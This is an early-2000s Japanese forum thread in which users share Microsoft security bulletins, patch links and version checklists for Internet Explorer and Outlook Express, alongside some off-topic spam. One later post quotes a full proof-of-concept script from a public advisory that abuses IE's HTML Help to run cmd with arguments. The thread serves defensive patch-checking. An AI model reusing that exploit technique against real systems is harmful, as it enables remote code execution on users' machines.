http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-009.asp
バージョンに表示されません。

なお、Q323759の対象からNT4.0SP6aがはずされたのでIE5.01SP2はWindows2000でのみ最新状態となった。
Q323759は以前に公開された MS02-023 : 2002 年 5 月 15 日 Internet Explorer 用の累積的な修正プログラム (Q321232)
の修正を含む。

保全あげ

Netscapeブラウザ利用者、さらに減少

　米Web解析サービス会社WebSideStoryのStatMarket部門は8月28日、Netscapeのブラウザを使うWebサーファーの割合が、全世界で3.4％にまで減少したと報告した。同ブラウザのシェアは1年前は13％、今年3月の時点では7％と報告されていた。

　一方、MicrosoftのInternet Explorer（IE）を使うWebサーファーの割合は引き続き増加しており、前年の87％から96％に拡大したという。

　同社の報告では、2002年8月26日現在、MicrosoftとNetscape以外のブラウザを使っている人の割合は全世界で0.64％。

　なおオランダのWeb調査会社OneStat.comも6月に、Netscapeブラウザ全体のシェアは3.4％と報告している。（ZDNet）

http://headlines.yahoo.co.jp/hl?a=20020829-00000024-zdn-sci

0.64％の人は手あげて

>>118の通りにし、
5.5SP2用にQ323759をインストールしました。
バージョン確認の「バージョン」でも、Q323759がありました。

しかしUAは
HTTP_USER_AGENT . Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461)
と出ます。これで問題ないんですよね？

誰もUAに出るとは言ってないんだが。

>>120 Opera6.05使ってんだけど、Cookieの自動再読み込みしない仕様らしく
強制cookie制導入後はすんなり書きこめないことが多いんだな。結局２ちゃん
書き込み用にIE使うハメに…

ウィルス対策で「プレビューウィンドウの表示をOFFにしろ」というのさんざん言われて
いるが使いにくいので普段OFFにしていない人も多いだろう。
プレビューウィンドウの表示／非表示切り替えるのにいちいち「表示」-「レイアウト」
と選択していくのは面倒なのでワンクリックでプレビューウィンドウの表示／非表示を切
り替える方法はないのか（たぶんないんだろうなあ）と思ってこの前OEの設定をいじって
たらあるんだね。ツールバーにプレビューボタンを追加すればいいだけだよ。
今までこんなことも知らなかったとは・・・。
これでOEもかなり使いやすくなったよ。といいつつメーラーとしてはメインで使ってない
けど。

方法はツールバー上で右クリックして「カスタマイズ」→「ツールバーの変更」でプレビ
ューボタンを追加

あぼーん

テスト3　

究極の総合リンク集

http://home9.highway.ne.jp/cym10262/

>>123 「選択したサーバーのクッキーのみを受け入れる」で２ｃｈを選択したサーバーに加えても書き込めないことが多いようだ。＜Opera
「自動的にすべてのクッキーを受け入れる」にすると書き込める。
そうすると他のサイトでクッキーを食らってしまうので「終了時に新たなクッキー
を破棄する」にチェックを入れる。
さらにFW製品(NISなど)で他のサイトのクッキーを制限するといい。

MicrosoftがIE 6 Service Pack 1を準備中
Microsoftが，Internet Explorer（IE） 6 Service Pack 1（SP1）を準備して
いることが 明らかになった。
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20020909/1/

http://pc.2ch.net/test/read.cgi/sec/1005605775/795とマルチｽﾏｿ

IEスレにも貼ったけど、OEも関係してるようなので一応

IE に新たな脆弱性、イスラエル企業が警告
http://japan.internet.com/webtech/20020910/10.html

>>130 Thanks！とりあえず Active Scripting無効にするよ。

ｓｐ1でプレーンテキストでの表示が可能になったとか

>132 ソースキボンヌ

http://yahooo.s2.x-beat.com/

SP1英語版入れたよ。
確かにoption>read>reading messagesのところの上から四番目の項目に、
Read all messages in plain textってのが出来てるね。
まあOEは使ってないからね。

BECKYにも当然のことなが同じようなconvert to plain textっていう項目があるよ。

漏れも英語版入れた
したらVMLだかのインストール失敗しますとさ
鬱だ

どうせなら江戸マックスみたいにツールバーから変えられればええのに

プレーンテキストで読めるって事はプレビューでの危険性が
減るって事？

>>138 そだね。M$のやることだから油断は禁物だが。

IE6SP1、まだ英語版、ドイツ語版、フランス語版しかリリースされてないね。

MSの鯖の中にコソーリ入ってた。
http://download.microsoft.com/download/ie6sp1/finrel/6_sp1/W98NT42KMeXP/JA/ie6setup.exe

↑コンポーネント入ってなかった。

IE6SP1出たよ。
HTMLメールをテキスト形式で表示できるようになった。
Japaneseを選択してね。
ttp://www.microsoft.com/windows/ie/downloads/critical/ie6sp1/default.asp

日本語のDLページもできたみたいだ。
ttp://www.microsoft.com/windows/ie_intl/ja/

>>143-144　ｻﾝｸｽ 落としてみた。

IE　Version:6.0.2800.1106 更新バージョンSP1
OE　6.00.28000.1106

になった。

OEのセキュリティが向上したよ。
これまでできなかったHTMLメールのテキスト表示が可能になった。
IEではファイルのダウンロード時のダイアログに安全性に関する
警告文が出るようになった。

それからMicrosoft の説明によると。
「Internet Explorer 6 での懸案事項を解決したアップデート ファイルの集積です」
だそうですよ。

OEって一つのメールを開いた状態でそのメールを削除すると自動的に
次のメールが開くんだよな。そのメールを削除したいだけで次のメールを
開くかどうかについては何も指示してないのに勝手に開く。次のメールがウィルスメールだったりしたら危険だと思う。アンチウィルス入れてれば
いいんだけど、やはり嫌だ。

削除する時だけツールバーのボタンでプレビュー表示にしなければいいじゃない。

>>148 プレビュー切ってても、メールを開いたままで削除ボタンを押すと
次のメールに切る変わるんだよ。

7634KBから落ちないぞおおおおお

「MS02-052: Microsoft VM JDBC クラスの問題により、コードが実行される (Q329077)」
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-052ov.asp

>>149
実際にメール開いたまま削除してみたら、
おっしゃることがよく分かりました。
開いたまま削除することなど今までやったことが無かったもので。

>>147-152
古いIEを使ってて、来たメールを読んで開いたまま削除すると次のメールが
MS01-020のセキュリティホール突くものだった場合にヤバイね。
その場合でもアンチウィルスソフトが常駐してれば大丈夫だけど。

>>151
さんくすこ
さっきIE入れたのにまたぱっち当てるの・・・
めんどくさーーーい！！けど無事終了。
メーラーはOEを使わないが吉ですな

>>151 Windwos Updateで可能。ただし前提条件があるので>151のサイトで
バージョン等確かめてからパッチ当てること。

>>151 関連記事
Microsoft VMに深刻なセキュリティ・ホール，すべてのWindowsユーザーが対策を
マシンを乗っ取られる恐れあり，Windows Updateでパッチを適用する
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20020919/2/

マイクロソフト，Windows XP SP1とIE 6 SP1の各日本語版を提供開始
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20020919/1/

SP1入れたけど
これどこまでのパッチあたってるの？

>>146
SP１入れてみたが
OEのテキスト→HTMLの切り替えはオプション画面でやるみたいやね。

ベッキや江戸みたいにメイン画面からワンクリックで切り替わる機能が無いぶん
初心者には安全性は高いが、
雛型メールとか乱発送信してる連中には、いろいろトラブルもありそうだ（W

補足。
いったんテキスト表示に設定したあと、
テキスト→HTML表示の切り替えって意味ね（^^;

>>157 Internet Explorer 用の累積的な修正プログラム (Q323759) (MS02-047)
まで含んでいるようだ。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-047.asp

SP１を入れないと、どうなるんですか？
昨日入れたんだけど、IEに繋がらなくなって削除したんだけど
やっぱ入れたほうがいいんですか？

>IEに繋がらなくなって
？
IE6に>>118の状態であればとりあえずはOKだけど（Gopher問題が残るが）。
そうでないとレアケースだがマシンが乗っ取られたりセキュリティ上の問題がある。
パッチ当てたりするときはFWやアンチウィルスなど常駐アプリを停止した上で
当てないと不具合でることあり。

本日ＨＤが壊れて再インストール中。
本ちゃん入れてＳＰ１を入れてから、Ｕｐｄａｔｅかけるも該当なし。
>>157 Internet Explorer 用の累積的な修正プログラム (Q323759) (MS02-047)
まで含んでいるようだ。
ありがとさん。
それは、
「この問題に対する修正は Windows XP Service Pack 1 以降に含まれています。」
という記述がネタ元？
ということは、MS02-050、51はあてなあかんねんな。
ＭＳは一覧表位作れっちゅうんねん。

ｱ､ｱｰ･･･ｱﾚｸｻ!!

証明書確認の問題により、ID が偽装される (Q328145) (MS02-050)
今回の更新内容
Outlook Express for Mac の問題を修正するプログラムを公開しました。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-050.asp

OEではなくWindows絡みだが、
「MS02-054: ファイル展開機能に含まれる未チェックのバッファにより、コードが実行される (Q323284)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-054ov.asp
対象となる製品（以下同じ）
・ Microsoft Windows 98
(Microsoft Plus! 98 をインストールしている環境)
・ Microsoft Windows 98 Second Edition
(Microsoft Plus! 98 をインストールしている環境)
・ Microsoft Windows Millennium Edition
・ Microsoft Windows XP
「MS02-055: Windows ヘルプ機能の未チェックのバッファにより、コードが実行される (Q323255)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-055ov.asp
・ Microsoft Windows 98
・ Microsoft Windows 98 Second Edition
・ Microsoft Windows Millennium Edition
・ Microsoft Windows NT 4.0
・ Microsoft Windows NT 4.0 Terminal Server Edition
・ Microsoft Windows 2000
・ Microsoft Windows XP
「MS02-056: SQL Server 用の累積的な修正プログラム (Q316333)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-056ov.asp
・ Microsoft SQL Server 7.0
・ Microsoft Desktop Engine (MSDE) 1.0
・ Microsoft SQL Server 2000
・ Microsoft Desktop Engine (MSDE) 2000
「MS02-057: Services for Unix 3.0 に含まれる Interix SDKでサービス拒否が起こる (Q329209)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-057ov.asp
・ Microsoft Windows NT 4.0
・ Microsoft Windows 2000
・ Microsoft Windows XP

age

・Windows95
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2でQ323759がついていること
・Windows98/ME
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6(フルまたは標準インストールのこと)でQ323759がついていること
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2 でQ323759がついていること
・WindowsNT4.0SP6a
6.00.2800.1106 Internet Explorer 6 Service Pack 1
・Windows2000
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6 でQ323759がついていること(Windows 2000SP2またはSP3のみ)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2　でQ323759がついていること(Windows 2000SP2またはSP3のみ)
5.00.3315.1000 Internet Explorer 5.01 SP2 でQ323759がついていること(Windows 2000SP2またはSP3のみ)
・WindowsXP
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6 でQ323759がついていること
※インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
※Q323759は
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-047ov.asp
の修正パッチを当てる。
※MS02-009,MS02-050については以下のページで確認の上該当パッチを当てる。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-009.asp
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-050.asp
バージョンに表示されません。

なお、Q323759の対象からNT4.0SP6aがはずされたのでIE5.01SP2はWindows2000でのみ最新状態となっ た。
Q323759は以前に公開された MS02-023 : 2002 年 5 月 15 日 Internet Explorer 用の累積的な修正プログ ラム (Q321232)
の修正を含む。
IE6SP1は MS02-047：累積的な修正プログラム (Q323759) の修正まで含む

WindowsNT4.0SP6aに漏れがありました。またQ323759がIE5.5SP1にも用意されたのでIE5.5SP1にQ323759でもOK。

・Windows95
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2 でQ323759がついていること
5.50.4522.1800 Internet Explorer 5.5 Service Pack 1 でQ323759がついていること
・Windows98/ME
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6(フルまたは標準インストールのこと)でQ323759がついていること
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2 でQ323759がついていること
5.50.4522.1800 Internet Explorer 5.5 Service Pack 1 でQ323759がついていること
・WindowsNT4.0SP6a
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6 でQ323759がついていること
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2 でQ323759がついていること
5.50.4522.1800 Internet Explorer 5.5 Service Pack 1 でQ323759がついていること

・Windows2000
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6 でQ323759がついていること(Windows 2000SP2またはSP3のみ)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2 でQ323759がついていること(Windows 2000SP2またはSP3のみ)
5.50.4522.1800 Internet Explorer 5.5 Service Pack 1 でQ323759がついていること(Windows 2000SP2またはSP3のみ)
5.00.3315.1000 Internet Explorer 5.01 SP2 でQ323759がついていること(Windows 2000SP2またはSP3のみ)
・WindowsXP
6.00.2800.1106 Internet Explorer 6 Service Pack 1
6.00.2600.0000 Internet Explorer 6 でQ323759がついていること
※インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
※Q323759は
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-047ov.asp
の修正パッチを当てる。
※MS02-009,MS02-050については以下のページで確認の上該当パッチを当てる。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-009.asp
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-050.asp
バージョンに表示されません。
なお、Q323759は以前に公開された MS02-023 : 2002 年 5 月 15 日 Internet Explorer 用の累積的な修正プログ ラム (Q321232)の修正を含む。
IE6SP1は MS02-047：累積的な修正プログラム (Q323759) の修正まで含む

「IE6 SP1を適用して，Outlook Expressで HTMLを表示しない設定に」
――IPAが呼びかけ
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021007/1/
コンピュータウイルスの届出状況について［要旨］
http://www.ipa.go.jp/security/txt/2002_10outline.html

なんでいまだにＩＥやＯＥ使ってるの？
パッチ貼るのが趣味ですか？
会社用でやむを得ずが大半だとは思うが・・それにしても・・

>>172
OEは使わないでおくことが可能だが、WindowsOS使ってて
IE使わないで済む人はまずいない。組み込みコンポーネント
なんだから。

>>172
パッチはるのが唯一の楽しみでございます

むしろ会社でこそIE・OEは使わん。万が一があった場合に取引先に対する
信用問題になっちまう。

会社では、オークションとかロトとかやってるヤツは、
警告アナウンス無視で OE やってます。
この前 IE6SP1 アナウンスしてやったら、エラーになったと
文句メールがきたさぁ。。。

俺のブラウザツギハギだらけ

＞WindowsOS使っててIE使わないで済む人はまずいない。
組み込みコンポーネントなんだから。

そりゃ大変だねぇ（ｗ

ネットに関して危機感が持てる。

「MS02-058: Outlook Express の S/MIME 解析の未チェックのバッファによりシステムが侵害される(Q328676)」

この問題は、下記製品の S/MIME コントロールに含まれる未チェックの
バッファにより、不正なプログラムが実行される可能性がある問題です。
最悪の場合、悪意のあるユーザーにお客様のコンピューター上で任意の
プログラムが実行される可能性があります。
対象となる製品
・ Microsoft Outlook Express 6
・ Microsoft Outlook Express 5.5
修正プログラム
・ Microsoft Outlook Express 6
http://download.microsoft.com/download/IE60/oepac_29/6/W98NT42KMeXP/JA/q328676.exe
・ Microsoft Outlook Express 5.5
http://download.microsoft.com/download/ie55sp2/oepac_29/5.5_sp2/W98NT42KMe/JA/q328389.exe
備考: Outlook Express 5.5 用の修正プログラムのファイル名は、
本セキュリティ情報の文書番号 (Q328676) とは異なっています。

MS02-058: Unchecked Buffer in Outlook Express S/MIME Parsing Could
Enable System Compromise (Q328676)
http://www.microsoft.com/technet/security/bulletin/MS02-058.asp

「MS02-058: Outlook Express の S/MIME 解析の未チェックのバッファによりシステムが侵害される(Q328676)」
詳細
この修正プログラムをインストールすることにより、
悪意のあるユーザーによる以下の攻撃を防ぐことができます。

(高) S/MIME コントロールの脆弱性を悪用し、
バッファのオーバーラン攻撃が行われる問題です。

対策が行われていないシステムがインターネットなどのネットワークを通じて
他のコンピュータと接続している場合、この問題を悪用した攻撃を
受けることがあります。この攻撃は、受動的攻撃という悪意のある
ユーザーから送られた HTML 形式の電子メールからも攻撃を受ける
可能性があります。この攻撃は、ハッカーまたはクラッカーと呼ばれる
悪意のあるユーザーや、ワームといった自動的な攻撃を目的とした悪意のある
プログラムから行われることがあります。

この脆弱性を悪用されることにより、
以下のような実害を受ける事が考えられます。

・ 実行する意図の無いアプリケーションが動作させられる可能性があります
(ハードディスクのフォーマットやワームなど)
・ Outlook Express が異常停止する可能性があります

Q328676をインストールしようとすると
"この修正プログラムをインストールするにはInternetExplorer6.0が必要です。"
って出てエラーになってしまいます。

使ってるのがIE6SP1だからでしょうか？

>>182
WindowsXPSP1とInternet Explorer６SP1にはこの修正はすでに含まれてるので
パッチ不要。
I’m up to date on all service packs for my system. Do I need the patch?

The fix for this issue was included in Windows XP Service Pack 1, and in Internet Explorer 6.0 Service Pack 1. If you’ve installed either of these two service packs, you’re already protected against the vulnerability and don’t need the patch.
http://www.microsoft.com/technet/security/bulletin/MS02-058.asp

おまえら真面目にやれよ!!!
ｱﾆｦﾀの自覚あんのかよ!!
ラムが基本なんだよ!すべてはここから始まるんだよ!!
原作を完読しれっ!!TVｼﾘｰｽﾞを10日で全部見ろっ!!
亜空間アルバイトの回やつるつるセッケンの回をｷｬﾌﾟしろっ!!!
口付け宅急便の扉絵を涎と精液でﾄﾞﾛﾄﾞﾛにしろっ!!!
話 は そ れ か ら な ん だ よ !!!
他のｷｬﾗに走るのはラムが卒業できてからなんだよ!!!
たとえ卒業できなくたって構やしねぇんだよっ!!!
原点なんだよ!!!伝説なんだよ!!!神話なんだよ!!!
ラム語れねぇﾔｼが偉そうな口たたくんじゃねぇよっ!!!
卒業できねぇﾔｼが『本気ラム』なんだよっ!!
もう一回言うぞっ!!!
おまいら真面目にやれよっっっ!!!!

解説：
Outlook Expressに深刻なホール，特定メールのプレビュで任意のコードを実行される
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021011/1/
対策はパッチの適用，ただしXP SP1とIE6 SP1では対策済み

MS日本語要約情報
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/MS02-058ov.asp

>>183
ご親切にありがとうございました。

いい加減　江戸マックスとかのフリーのまともなメーラーに替えたら？
なんでＯＥなんていつまでも使ってるわけ？　マゾですか？　

江戸マックス、そろそろ枯れてきて、いい塩梅
秀丸、枯れすぎた　これもスバラスィ

>>187
馬鹿ですか? このスレタイトルの意味わかんないの?
edmaxもIEｺﾝﾎﾟｰﾈﾝﾄ使用ﾒｰﾗｰなんだけど。

IEｺﾝﾎﾟｰﾈﾝﾄ、使わなきゃエエべ

MS02-058 は激しくヤバいね。
これって、以前NimdaやBadtransの大流行を招いた
原因と同じじゃない？
メールを受信しただけで感染させるウイルスとか出そてきそう。

今度こそ、OE使うのはきっぱりやめようね。

>>191
べつにぃ、、、OE SP1 ですが、何か？

>>191
任意のコードの実行というところだけに反応してageるんじゃねーぞぼけ。
かなーり違う。

ＯＥヲタ必死だな

>>194
「ＯＥヲタ」じゃないが、何か？
メインメーラーは別のものだが、OE 初心者ユーザーが
ゴロゴロいるんで、その対応のため動作確認のためだけに
入れているだけだ。（藁

>>194 脱ＩＥ・ＯＥのススメ
http://pc.2ch.net/test/read.cgi/sec/1033069892/l50
でやったら？

OEは糞という奴はたくさんいるけど、じゃあ代わりに何を使えばいいんだ?
という問いに的確に回答で切る奴は殆どいない。

IEコンポーネント未使用で完全に無料(ウザイ広告付加)で使える物列挙してみろよ。

ＮＩＦＴＹのウェブメール。

電八はIEコンポーネント使ってないような気がする…。
初心者にはお薦めしないが(w

>>197
なんでも無料だと思ってる奴は馬鹿。そもそもOEだって無料というわけじゃないだろ。

197は精神を病んでるな・・

ネスケ付属の奴とか。

>>200-201
ごたくは良いから無料の奴挙げろ。

>>203
馬鹿はOEでも使ってろ。

まあ、理由も示さずに「OEは糞」と言ってる奴も多いわけだが。
相手を説得したいなら納得させる努力をしろよ。
そのためにはOEについて詳しく知る必要がある。

その点でこのスレッドは有用だと思う。

メールを見ただけで、ウィルスにやられるOEは糞。

>>206 かつてはね(今後もないという保証はないが…）。つーかアップデートしろよ(w

>>206
(藁

OEのおかげで儲かってます。今後ともセキュリティホールをよろしく。

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　トレンドマイクロ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　シマンテック

>>209
セキュリティーホールはウイルスだけじゃないんだが・・・・・・

証明書確認の問題により、ID が偽装される (Q328145) (MS02-050)
Microsoft Office 2001 for Mac および Microsoft Office 98 for Macintosh
Edition の問題を修正するプログラムを公開しました。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-050.asp
対象：Microsoft(R) Windows、Office for Mac、Internet Explorer for Mac
または Outlook Express for Mac

　 　 　パーソナルセキュリティ研究所
　　　 ・ポートスキャン
　 http://210.143.99.143/~p-sec/pscan.html
　　　 ・Windows診断
　 http://210.143.99.143/~p-sec/winsec.html

ほす

マイクロソフト，セキュリティ・ホールの深刻度に関する評価方法を変更
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021119/2/
マイクロソフトは11月19日，同社が公開する「セキュリティ情報」において，その
深刻度の評価方法を変更した。従来は「高（High）」，「中（Moderate）」，
「低（Low）」の3段階であったものを，「緊急（Critical）」，「重要（Important）」，
「警告（Moderate）」，「注意（Low）」の4段階にする。

http://www.microsoft.com/japan/technet/security/policy/rating.asp
http://www.microsoft.com/technet/security/policy/rating.asp

MS02-065 に関する情報
「MS02-065: Microsoft Data Access Components のバッファ オーバーラン
により、コードが実行される (Q329414)」に関する要約情報です。
セキュリティ情報の概要と修正プログラムの情報をご案内いたします。
概要
====
この問題は、Microsoft Data Access Components (MDAC) に含まれる
Remote Data Services (RDS) コンポーネントでの文字列の処理に含まれる
未チェックのバッファにより、不正なプログラムが実行される可能性が
あります。
対象となる製品
==============
・Microsoft Data Access Components (MDAC) 2.1
・Microsoft Data Access Components (MDAC) 2.5
・Microsoft Data Access Components (MDAC) 2.6
・Internet Explorer 5.01
・Internet Explorer 5.5
・Internet Explorer 6

つづく

つづき

以下の OS を利用しているユーザーは修正プログラムをインストールする
必要があります。
・Windows 98
・Windows 98 Second Edition
・Windows Millennium Edition
・Windows NT4.0
・Windows 2000
MDAC 2.7 および Windows XP はこの問題の影響を受けません。
MDAC のバージョンの確認方法については次の技術情報をご覧ください。
JP301202 [HOW TO] MDAC のバージョンを確認する方法
http://support.microsoft.com/default.aspx?scid=kb;ja;JP301202

修正プログラム
==============
・Microsoft Data Access Components (MDAC)
http://download.microsoft.com/download/dasdk/Patch/Q329414/W98NT42KMe/EN-US/q329414_mdacall_x86.exe

MS02-066 に関する情報
http://www.microsoft.com/japan/technet/security/bulletin/ms02-066ov.asp
「MS02-066: Internet Explorer 用の累積的な修正プログラム (Q328970)」に
関する要約情報です。
セキュリティ情報の概要と修正プログラムの情報をご案内いたします。
概要
====
この修正プログラムは、Internet Explorer に影響を及ぼすセキュリティ上の
問題を排除する累積的な修正プログラムです。
以前に公開された MS02-047 : Internet Explorer 用の累積的な
修正プログラム (Q323759) で修正された問題に加えて、新たに 6 つの問題を
排除します。
対象となる製品
==============
・ Internet Explorer 6、6 Service Pack 1
・ Internet Explorer 5.5 Service Pack 2
・ Internet Explorer 5.01 Service Pack 3 for Windows 2000
注意: Internet Explorer 5.01 Service Pack 3 の修正プログラムは、
Windows 2000 環境にのみ適用可能です。
修正プログラム
==============
・ Internet Explorer 6 Service Pack 1
http://download.microsoft.com/download/ie6sp1/30secpac/6_sp1/W98NT42KMeXP/JA/q328970.exe
・ Internet Explorer 6
http://download.microsoft.com/download/IE60/30secpac/6/W98NT42KMeXP/JA/q328970.exe
・ Internet Explorer 5.5 Service Pack 2
http://download.microsoft.com/download/ie55sp2/30secpac/5.5_sp2/W98NT42KMe/JA/q328970.exe
・ Internet Explorer 5.01 Service Pack 3
http://download.microsoft.com/download/ie501sp2/30secpac/5.01_sp3/NT5/JA/q328970.exe

MS込ん�j

>>216-218
お疲れさん。ありがとう。

>>216-217のMS02-065は深刻度(緊急)だから該当者はすぐに対処した方がよさそうだね。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-065ov.asp
>>218のMS02-066は最大深刻度(重要)
http://www.microsoft.com/japan/technet/security/bulletin/ms02-066ov.asp

　

MDなんたらってのはサーバー立てしてない奴は関係ないんでしょ？

>>223
対策が行われていないシステムがインターネットなどのネットワークを通
じて他のコンピュータと接続している場合、この問題を悪用した攻撃を受
けることがあります。この攻撃は、受動的攻撃という悪意のあるユーザー
から送られた HTML 形式の電子メールからも攻撃を受ける可能性がありま
す。この攻撃は、ハッカーまたはクラッカーと呼ばれる悪意のあるユーザー
や、ワームといった自動的な攻撃を目的とした悪意のあるプログラムから
行われることがあります。
・Internet Explorer に想定する実害
意図しないアプリケーションが動作させられる可能性があります。その結
果、ワームの感染、データの削除、トロイの木馬の実行などが考えられま
す。

>>224
テムプファイル形式とは違うの？

今MDのやつインスト完了。

http://download.microsoft.com/download/ie6sp1/30secpac/6_sp1/W98NT42KMeXP/JA/q328970.exe
このパッチ当たらない。「SP1が必要です」って言われる。
さっきSP1入れたばっかなのに。

>>226 再起動してみ

http://www.agemasukudasai.com/bloom/

>>216-218の解説記事
データベース・アクセス機能に重大なセキュリティ・ホール，
Windows XP以外のほとんどのシステムが危険
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20021121/3/

マイクロソフト，IE向け最新セキュリティ・パッチを公開
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20021121/2/

>>227
してみたけどやっぱり駄目ですた
仕様なのか…？

>>230 いや、いまIE6SP1に当ててみたが「SP1が必要です」とは出なかった。
まずIEのバージョンがSP1か確認してそうでなかったらもう一度IE6SP1にする。
SP1の表示がなされていたらInternet Explorerの修復をしてみる。
それでもだめならIE6SP1の再インスコ。

うまくパッチが当たったらバージョン情報にはSP1; Q328970;と表示される。

Win95の場合、MS02-065のパッチは諦めるしかないのでしょうか？

>>232
もうサポート対象外。

http://www.microsoft.com/downloads/release.asp?releaseid=44662
入れた俺のOE SP1は
http://memo.st.ryukoku.ac.jp/archive/200211.month/4998.html
が発生しないわけだが、既出?

>>231
亀レスですがありがとう
やっぱ再インスコですか・・・
ナローには10Mはつらい・・・（ ´Д⊂ヽ

証明書確認の問題により、ID が偽装される (Q329115) (MS02-050)
http://www.microsoft.com/japan/technet/security/bulletin/MS02-050.asp
MS02-065, MS02-066 にかくれて、コソッと修正の修正がでてるから注意！　最大深刻度 : 重要
直リン倶楽部
・Windows 98 PC/AT 互換機用
ttp://download.microsoft.com/download/win98/Update/25897/W98/JA/329115JPN8.EXE
・Windows 98 Second Edition PC/AT 互換機用
ttp://download.microsoft.com/download/win98/Update/25897/W98/JA/329115JPN8.EXE
・Windows Millennium Edition
ttp://download.microsoft.com/download/winme/Update/25897/WinMe/JA/329115JPNM.EXE
・Windows 2000 PC/AT 互換機用
ttp://download.microsoft.com/download/win2000platform/patch/Q329115/nt5/ja/Q329115_W2K_SP4_X86_JA.exe
・Windows XP and Windows XP 64 Bit Edition
ttp://download.microsoft.com/download/whistler/Patch/Q329115/WXP/JA/Q329115_WXP_SP2_x86_JPN.exe

http://archives.neohapsis.com/archives/bugtraq/2002-11/0041.html
http://sec.greymagic.com/adv/gm012-ie/
http://archives.neohapsis.com/archives/bugtraq/2002-11/0047.html
http://archives.neohapsis.com/archives/bugtraq/2002-11/0114.html
http://archives.neohapsis.com/archives/bugtraq/2002-11/0126.html
--------------------------- CUT HERE ---------------------------
<*script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, [email protected]
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
'echo Sandblad #10 > c:/vulnerable.txt & winmine';

if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
"-00aa003b7a11><param name=Command value=Close></object>')");
f("javascript:c1.Click();c2.Click();");
close();
}
</script>
--------------------------- CUT HERE ---------------------------

>>237
W2kSP2/IE6SP1でヘルプ表示されただけなんだけど。。。。なんで？？
c:/vulnerable.txtなんて無かったぞ。。

「MS02-065: Microsoft Data Access Components のバッファ オーバーランにより、コードが実行される (Q329414)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-065ov.asp
「MS02-066: Internet Explorer 用の累積的な修正プログラム (Q328970)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-066ov.asp
証明書確認の問題により、ID が偽装される (Q329115) (MS02-050)
http://www.microsoft.com/japan/technet/security/bulletin/MS02-050.asp

Windows Updateを使わずにインストールしたセキュティパッチは
Windows Updateのインストール履歴には表示されませんよね？
ヘルプ→バージョン情報では適用されていても表示されない
修正プログラムもあるみたいですし

(MS02-XXX)の問題を修正する修正プログラム(QXXXXXX)：適用済み

みたいな感じで一覧表示できる機能はないものですかねえ。

>>241
俺のマシンにはQFECHECK.EXEつーのが入ってるけど入手経路は忘れた。MS御謹製な事は確実だが。

>>241
「アプリケーションの追加と削除」に全部出るだろ？

パッチを無効にされる恐れあり
Windowsの深刻なセキュリティ・ホールを解説する

ほとんどのWindowsシステムが影響を受ける深刻なセキュリティ・ホールが公開
された。今回のコラムでは，このセキュリティ・ホールの詳細や対策方法について
解説したい。注意しなければならないのは，修正パッチを適用するだけでは万全
といえないことだ。パッチが“無効化”される恐れがある。万全の対策を施せない
間は，Internet Explorerなどの利用を中止することも考慮したい。それほどまでに
深刻なセキュリティ・ホールなのだ。
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20021126/1/

